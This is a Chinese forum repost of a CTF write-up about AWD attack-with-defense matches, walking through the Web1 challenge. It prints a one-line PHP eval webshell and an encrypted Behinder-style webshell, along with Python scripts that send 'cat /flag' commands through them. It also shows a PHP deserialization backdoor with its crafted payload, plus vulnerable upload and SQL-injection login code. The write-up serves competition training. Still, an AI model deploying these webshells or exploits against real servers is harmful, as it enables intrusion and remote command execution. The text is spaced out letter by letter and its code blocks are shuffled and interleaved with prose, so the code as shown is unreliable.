搜索

[19587] 2020-03-03_跟着表哥学习如何打「AWD比赛」

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-03-03_跟着表哥学习如何打「AWD比赛」 跟 着 表 哥 学 习 如 何 打 「 A W D 比 赛 」 原 创   f l a g 0   i 春 秋   2 0 2 0 - 0 3 - 0 3 在 很 多 大 型 互 联 网 公 司 中 ， 安 全 团 队 会 经 常 组 织 攻 防 模 拟 演 练 ， 目 的 是 以 攻 促 防 ， 提 前 发 现 潜 在 风 险 ， 协 助 提 升 业 务 系 统 安 全 性 和 完 善 安 全 系 统 能 力 ， 更 有 效 的 抵 御 黑 客 攻 击 。 在 网 络 安 全 的 众 多 比 赛 中 ， A W D 比 赛 就 是 这 种 攻 防 兼 备 的 比 赛 形 式 。 今 天 分 享 的 文 章 是   i   春 秋 论 坛 的 作 者 f l a g 0 原 创 的 文 章 ， 他 为 我 们 带 来 的 是 一 次 一 次 A W D 比 赛 的 总 结 比 赛 的 总 结 ， 想 要 了 解 A W D 比 赛 的 小 伙 伴 ， 这 篇 文 章 不 容 错 过 ， 文 章 未 经 许 可 禁 止 转 载 ！ 注 ： i   春 秋 公 众 号 旨 在 为 大 家 提 供 更 多 的 学 习 方 法 与 技 能 技 巧 ， 文 章 仅 供 学 习 参 考 。 A W D 介 绍 介 绍 A W D ( A t t a c k   W i t h   D e f e n s e ， 攻 防 兼 备 ) 是 一 个 非 常 有 意 思 的 模 式 ， 你 需 要 在 一 场 比 赛 里 要 扮 演 攻 击 方 和 防 守 方 ， 攻 者 得 分 ， 失 守 者 会 被 扣 分 。 也 就 是 说 ， 攻 击 别 人 的 靶 机 可 以 获 取   F l a g   分 数 时 ， 别 人 会 被 扣 分 ， 同 时 你 也 要 保 护 自 己 的 主 机 不 被 别 人 得 分 ， 以 防 扣 分 。 这 种 模 式 非 常 激 烈 ， 赛 前 准 备 要 非 常 充 分 ， 手 上 要 有 充 足 的 防 守 方 案 和   E X P   攻 击 脚 本 ， 而 且 参 赛 越 多 ， 积 累 的 经 验 就 越 多 ， 获 胜 的 希 望 就 越 大 。
比 赛 规 则 比 赛 规 则 每 个 团 队 分 配 到 一 个 D o c k e r 主 机 ， 给 定 W e b （ W e b ） /   P w n （ P w n ） 用 户 权 限 ， 通 过 特 定 的 端 口 和 密 码 进 行 连 接 ； 每 台 D o c k e r 主 机 上 运 行 一 个 网 络 服 务 或 其 他 的 服 务 ， 需 要 选 手 保 证 其 可 用 性 ， 并 尝 试 审 计 代 码 ， 攻 击 其 他 队 伍 ； 选 手 可 以 通 过 使 用 突 破 获 取 其 他 队 伍 的 服 务 器 的 权 限 ， 读 取 其 他 服 务 器 上 的 标 志 并 提 交 到 平 台 上 ； 每 次 成 功 攻 击 可 能 5 分 ， 被 攻 击 者 取 代 5 分 ； 有 效 攻 击 五 分 钟 一 轮 。 选 手 需 要 保 证 己 方 服 务 的 可 用 性 ， 每 次 服 务 不 可 用 ， 替 换 1 0 分 ； 服 务 检 测 五 分 钟 一 轮 ； 禁 止 使 用 任 何 形 式 的 D O S 攻 击 ， 第 一 次 发 现 扣 1 0 0 0 分 ， 第 二 次 发 现 取 消 比 赛 资 格 。   W e b 1     首 先 用 D 盾 进 行 查 杀 。 预 留 后 门 预 留 后 门 p a s s . p h p 很 简 单 直 接 的 一 句 话 后 门 < ? p h p @ e v a l ( $ _ P O S T [ ' p a s s ' ] ) ; ? >
y j h . p h p < ? p h p @ e r r o r _ r e p o r t i n g ( 0 ) ; s e s s i o n _ s t a r t ( ) ; i f   ( i s s e t ( $ _ G E T [ ' p a s s ' ] ) ) {         $ k e y = s u b s t r ( m d 5 ( u n i q i d ( r a n d ( ) ) ) , 1 6 ) ;         / / u n i q i d ( )   函 数 基 于 以 微 秒 计 的 当 前 时 间 ， 生 成 一 个 唯 一 的   I D         / / 这 里 用 于 生 成 s e s s i o n         $ _ S E S S I O N [ ' k ' ] = $ k e y ;         p r i n t   $ k e y ; } e l s e {         $ k e y = $ _ S E S S I O N [ ' k ' ] ;         $ p o s t = f i l e _ g e t _ c o n t e n t s ( " p h p : / / i n p u t " ) ; / / 读 取 p o s t 内 容         i f ( ! e x t e n s i o n _ l o a d e d ( ' o p e n s s l ' ) ) / / 检 查 o p e n s s l 扩 展 是 否 已 经 加 载         { / / 如 果 没 有 o p e n s s l                 $ t = " b a s e 6 4 _ " . " d e c o d e " ;                 $ p o s t = $ t ( $ p o s t . " " ) ; / / b a s e 6 4 _ d e c o d e                 f o r ( $ i = 0 ; $ i < s t r l e n ( $ p o s t ) ; $ i + + )   {                                   $ p o s t [ $ i ]   =   $ p o s t [ $ i ] ^ $ k e y [ $ i + 1 & 1 5 ] ;   / / 进 行 异 或 加 密                                 }         }         e l s e         {                 $ p o s t = o p e n s s l _ d e c r y p t ( $ p o s t ,   " A E S 1 2 8 " ,   $ k e y ) ; / / a e s 加 密         }         $ a r r = e x p l o d e ( ' | ' , $ p o s t ) ; / / 返 回 由 字 符 串 组 成 的 数 组         $ f u n c = $ a r r [ 0 ] ;         $ p a r a m s = $ a r r [ 1 ] ; / / 获 取 第 二 个         c l a s s   C         {                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ p )   / /   _ _ c o n s t r u c t ( )   允 许 在 实 例 化 一 个 类 之 前 先 执 行 构 造 方 法                 {
生 成 随 机 密 钥 值 通 过 密 钥 值 对 加 密 ， 如 果 服 务 器 没 有 o p e n s s l 扩 展 ， 则 与 密 钥 值 进 行 异 或 解 密 ， 如 果 有 o p e n s s l 环 境 ， 则 使 用 密 钥 值 进 行 解 密 。 搞 清 楚 了 代 码 逻 辑 之 后 ， 编 写 利 用 脚 本 。 服 务 端 有 服 务 端 有 o p e n s s l 扩 展 的 利 用 脚 本 扩 展 的 利 用 脚 本                         e v a l ( $ p . " " ) ; / / 直 接 e v a l                 }         }         h o m e . p h p ? m o d = s p a c e & u i d = 1 6 2 6 4 8   C ( $ p a r a m s ) ; } ? >
因 为 p h p 中 加 密 方 式 是 A E S 1 2 8 ， 所 以 可 以 判 断 是 C B C 模 式 。 服 务 端 没 有 服 务 端 没 有 o p e n s s l 扩 展 的 利 用 脚 扩 展 的 利 用 脚 本 本 当 没 有 扩 展 的 时 候 会 执 行 异 或 加 密 i m p o r t   r e q u e s t s i m p o r t   b a s e 6 4 f r o m   C r y p t o . C i p h e r   i m p o r t   A E S f r o m   C r y p t o . U t i l . P a d d i n g   i m p o r t   p a d ,   u n p a d d e f   a e s _ e n c o d e ( k e y ,   t e x t ) :         k e y   =   k e y . e n c o d e ( )         t e x t   =   t e x t . e n c o d e ( )         t e x t   =   p a d ( t e x t ,   1 6 )         m o d e l   =   A E S . M O D E _ C B C     #   定 义 模 式         a e s   =   A E S . n e w ( k e y ,   m o d e l ,   b ' 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ' )         e n P a y l o a d   =   a e s . e n c r y p t ( t e x t )     #   加 密 明 文         e n P a y l o a d   =   b a s e 6 4 . e n c o d e b y t e s ( e n P a y l o a d )     #   将 返 回 的 字 节 型 数 据 转 进 行 b a s e 6 4 编 码         r e t u r n   e n P a y l o a d d e f   g e t B i n X i e ( u r l ) :         r e q   =   r e q u e s t s . s e s s i o n ( )         u r l   =   u r l + " / y j h . p h p "         p a r   =   {                 ' p a s s ' : ' '         }         k e y   =   r e q . g e t ( u r l , p a r a m s = p a r ) . c o n t e n t         k e y   =   s t r ( k e y , e n c o d i n g = " u t f 8 " )         p a y l o a d   =   ' 1 | s y s t e m ( " c a t   / f l a g " ) ; '         e n P a y l o a d   =   a e s _ e n c o d e ( k e y , p a y l o a d )         r e s   =   r e q . p o s t ( u r l , e n P a y l o a d ) . t e x t         r e t u r n   r e s i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         u r l   =   " h t t p : / / l o c a l h o s t "         f l a g   =   g e t B i n X i e ( u r l )         p r i n t ( f l a g )
在 W e b 1 中 ， l o g i n y j h . p h p 与 p m a b i n x i e 2 . 0 . 1 . p h p 与 y j h . p h p 内 容 是 一 样 的 。 反 序 列 化 后 门 反 序 列 化 后 门 s q l h e l p e r . p h p D 盾 没 扫 出 来 的 ， 还 有 一 个 反 序 列 化 后 门 。 d e f   x o r E n c o d e ( k e y , t e x t ) :         t e x t N e w   =   " "         f o r   i   i n   r a n g e ( l e n ( t e x t ) ) :                 l e f t   =   o r d ( t e x t [ i ] )                 r i g t h   =   o r d ( k e y [ i + 1 & 1 5 ] )                 t e x t N e w   + =   c h r ( l e f t   ^   r i g t h )         t e x t N e w   =   b a s e 6 4 . b 6 4 e n c o d e ( t e x t N e w . e n c o d e ( ) )         t e x t N e w   =   s t r ( t e x t N e w , e n c o d i n g = " u t f 8 " )         r e t u r n   t e x t N e w d e f   g e t B i n X i e X o r ( u r l ) :         r e q   =   r e q u e s t s . s e s s i o n ( )         u r l   =   u r l + " / l o g i n / y j h . p h p "         p a r   =   {                 ' p a s s ' : ' '         }         k e y   =   r e q . g e t ( u r l , p a r a m s = p a r ) . c o n t e n t         k e y   =   s t r ( k e y , e n c o d i n g = " u t f 8 " )         t e x t   =   " | s y s t e m ( ' c a t   / f l a g ' ) ; "         e n P a y l o a d   =   x o r E n c o d e ( k e y , t e x t )         r e s   =   r e q . p o s t ( u r l ,   e n P a y l o a d ) . t e x t         r e t u r n   r e s
$ a ( $ t h i s - > a m l e ) 如 果 $ a = e v a l ; $ b = s y s t e m ( ' c a t   / f l a g ' ) ； 就 相 当 于 e v a l ( s y s t e m ( " c a t   / f l a g " ) ) ； 构 造 p a y l o a d ： 获 得 反 序 列 化 字 符 串 ： i f   ( i s s e t ( $ _ P O S T [ ' u n ' ] )   & &   i s s e t ( $ _ G E T [ ' x ' ] ) ) { c l a s s   A {         p u b l i c   $ n a m e ;         p u b l i c   $ m a l e ;         f u n c t i o n   _ _ d e s t r u c t ( ) { / / 析 构 方 法 , 当 这 个 对 象 用 完 之 后 ， 会 自 动 执 行 这 个 函 数 中 的 语 句                 $ a   =   $ t h i s - > n a m e ;                 $ a ( $ t h i s - > m a l e ) ; / / 利 用 点         } } u n s e r i a l i z e ( $ _ P O S T [ ' u n ' ] ) ; } < ? p h p c l a s s   A {         p u b l i c   $ n a m e ;         p u b l i c   $ m a l e ;         f u n c t i o n   _ _ d e s t r u c t ( ) { / / 对 象 的 所 有 引 用 都 被 删 除 或 者 当 对 象 被 显 式 销 毁 时 执 行                 $ a   =   $ t h i s - > n a m e ;                 $ a ( $ t h i s - > m a l e ) ; / / 利 用 点 } $ f l a g   =   n e w   A ( ) ; $ f l a g   - >   n a m e   =   " s y s t e m " ; $ f l a g   - >   m a l e   =   " c a t   / f l a g " ; v a r _ d u m p ( s e r i a l i z e ( $ f l a g ) ) ; ? > O : 1 : " A " : 2 : { s : 4 : " n a m e " ; s : 6 : " s y s t e m " ; s : 4 : " m a l e " ; s : 9 : " c a t   / f l a g " ; }
封 装 成 攻 击 函 数 ： 文 件 上 传 漏 洞 文 件 上 传 漏 洞 i n f o . p h p d e f   g e t S e r i a l i z e ( u r l ) :         i m p o r t   r e q u e s t s         u r l   =   u r l   +   " / s q l h e l p e r . p h p ? x = a "         p a y l o a d   =   {                 " u n " : ' O : 1 : " A " : 2 : { s : 4 : " n a m e " ; s : 6 : " s y s t e m " ; s : 4 : " m a l e " ; s : 9 : " c a t   / f l a g " ; } '         }         f l a g   =   r e q u e s t s . p o s t ( u r l = u r l , d a t a = p a y l o a d ) . c o n t e n t         r e t u r n   s t r ( f l a g , e n c o d i n g = " u t f 8 " ) . s t r i p ( ) < ? p h p i n c l u d e _ o n c e   " h e a d e r . p h p " ; i n c l u d e _ o n c e   " s q l h e l p e r . p h p " ; ? > < ? p h p i f   ( i s s e t ( $ _ P O S T [ ' a d d r e s s ' ] ) )   {         $ h e l p e r   =   n e w   s q l h e l p e r ( ) ;         $ a d d r e s s   =   a d d s l a s h e s ( $ _ P O S T [ ' a d d r e s s ' ] ) ;         i f   ( i s s e t ( $ _ P O S T [ ' p a s s w o r d ' ] ) )   {                 $ p a s s w o r d   =   m d 5 ( $ _ P O S T [ ' p a s s w o r d ' ] ) ;                 $ s q l   =   " U P D A T E     a d m i n   S E T   a d d r e s s = ' $ a d d r e s s ' , p a s s w o r d = ' $ p a s s w o r d '   W H E R E   i d = $ _ S E S S I O N [ i d ] " ;         }   e l s e   {                 $ s q l   =   " U P D A T E     a d m i n   S E T   a d d r e s s = ' $ a d d r e s s '     W H E R E   i d = $ _ S E S S I O N [ i d ] " ;         }         $ r e s   =   $ h e l p e r - > e x e c u t e _ d m l ( $ s q l ) ;
可 以 看 到 文 件 上 传 的 这 里 ， 只 验 证 了 c r o n - t y p e ， 只 要 是 把 其 修 改 为 i m a g e / j e p g 就 可 以 上 传 任 意 文 件 到 a s s e t s / i m a g e s / a v a t a r s / 目 录 下 了 。 这 里 属 于 后 台 页 面 有 权 限 控 制 ， 必 须 登 陆 后 才 能 访 问 。         i f   ( $ r e s )   {                 e c h o   " < s c r i p t > a l e r t ( ' 更 新 成 功 ' ) ; < / s c r i p t > " ;         }         i f   ( i s s e t ( $ _ F I L E S ) )   {                 i f   ( $ _ F I L E S [ " f i l e " ] [ " e r r o r " ]   >   0 )   {                         e c h o   " 错 误 ： "   .   $ _ F I L E S [ " f i l e " ] [ " e r r o r " ]   .   " < b r > " ;                 }   e l s e   {                         $ t y p e   =   $ _ F I L E S [ " f i l e " ] [ " t y p e " ] ;                         i f ( $ t y p e = = " i m a g e / j p e g " ) {                                 $ n a m e   = $ _ F I L E S [ " f i l e " ] [ " n a m e " ]   ;                                 i f   ( f i l e _ e x i s t s ( " u p l o a d / "   .   $ _ F I L E S [ " f i l e " ] [ " n a m e " ] ) )                                 {                                         e c h o   " < s c r i p t > a l e r t ( ' 文 件 已 经 存 在 ' ) ; < / s c r i p t > " ;                                 }                                 e l s e                                 {                                         m o v e _ u p l o a d e d _ f i l e ( $ _ F I L E S [ " f i l e " ] [ " t m p _ n a m e " ] ,   " a s s e t s / i m a g e s / a v a t a r s / "   .   $ _ F I L E S [ " f i l e "                                         $ h e l p e r   =   n e w   s q l h e l p e r ( ) ;                                         $ s q l   =   " U P D A T E     a d m i n   S E T   i c o n = ' $ n a m e '   W H E R E   i d = $ _ S E S S I O N [ i d ] " ;                                         $ h e l p e r - > e x e c u t e _ d m l ( $ s q l ) ;                                 }                         } e l s e {                                 e c h o   " < s c r i p t > a l e r t ( ' 不 允 许 上 传 的 类 型 ' ) ; < / s c r i p t > " ;                         }                 }         } } ? >
查 看 登 陆 页 面 l o g i n / i n d e x . p h p S Q L 语 句 输 入 的 部 分 没 有 任 何 过 滤 ， 很 明 显 存 在 S Q L 注 入 漏 洞 ， 可 以 万 能 密 码 登 陆 绕 过 。 < ? p h p s e s s i o n _ s t a r t ( ) ; i f   ( ! i s s e t ( $ _ S E S S I O N [ ' u s e r n a m e ' ] ) ) {         h e a d e r ( ' L o c a t i o n :   / l o g i n ' ) ; } < ? p h p i f   ( i s s e t ( $ _ P O S T [ ' u s e r n a m e ' ] ) ) {         i n c l u d e _ o n c e   " . . / s q l h e l p e r . p h p " ;         $ u s e r n a m e = $ _ P O S T [ ' u s e r n a m e ' ] ;         $ p a s s w o r d   =   m d 5 ( $ _ P O S T [ ' p a s s w o r d ' ] ) ;         $ s q l   =   " S E L E C T   *   F R O M   a d m i n   w h e r e   n a m e = ' $ u s e r n a m e '   a n d   p a s s w o r d = ' $ p a s s w o r d ' ; " ;         $ h e l p   =   n e w   s q l h e l p e r ( ) ;         $ r e s     =   $ h e l p - > e x e c u t e _ d q l ( $ s q l ) ;         e c h o   $ s q l ;         i f   ( $ r e s - > n u m _ r o w s ) {                 s e s s i o n _ s t a r t ( ) ;                 $ r o w   =   $ r e s - > f e t c h _ a s s o c ( ) ;                 $ _ S E S S I O N [ ' u s e r n a m e ' ]   =   $ u s e r n a m e ;                 $ _ S E S S I O N [ ' i d ' ]   =   $ r o w [ ' i d ' ] ;                 $ _ S E S S I O N [ ' i c o n ' ]   =   $ r o w [ ' i c o n ' ] ;                 e c h o   " < s c r i p t > a l e r t ( ' 登 录 成 功 ' ) ; w i n d o w . l o c a t i o n . h r e f = ' / ' < / s c r i p t > " ;         } e l s e {                 e c h o   " < s c r i p t > a l e r t ( ' 用 户 名 密 码 错 误 ' ) < / s c r i p t > " ;         } }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理